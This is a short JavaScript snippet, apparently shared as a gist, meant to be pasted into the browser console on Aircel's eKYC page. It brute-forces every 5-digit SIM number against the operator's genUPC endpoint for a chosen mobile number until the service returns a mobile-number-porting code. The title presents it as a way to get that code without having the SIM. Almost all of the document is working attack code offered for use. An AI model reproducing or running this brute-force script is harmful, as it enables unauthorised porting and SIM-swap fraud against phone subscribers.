Aircel UPC generator incase you dont have sim number

generateUPC.js

//https://ekyc.aircel.com:444/ekyc/genUPC.html
//this site uses angularjs
//let take advantage of developer tools console tab
//lets grab the http service of anugular js
$http = angular.element(document.body).injector().get('$http')

//so now, lets have a handy function to send post request
//returns promise
function sendPost(simnum){ return $http.post('https://ekyc.aircel.com:444/ekyc/rest/genUPC', {"service_id":"WEB_UPC","msisdn":"919768XXXXXX","sim":simnum})}

//now we can take advantage of es6 async/await to synchronously loop..  
async function loop() {
  //5 digit sim 
  for (let i = 10000; i < 99999; i++) {
    let res = await sendPost(i)
    console.log(i);
    //if found.. print it and exit 
    if(res.data.upc){
      console.log(res.data.upc)
      break
    }
  }
}

// now we begin
loop()
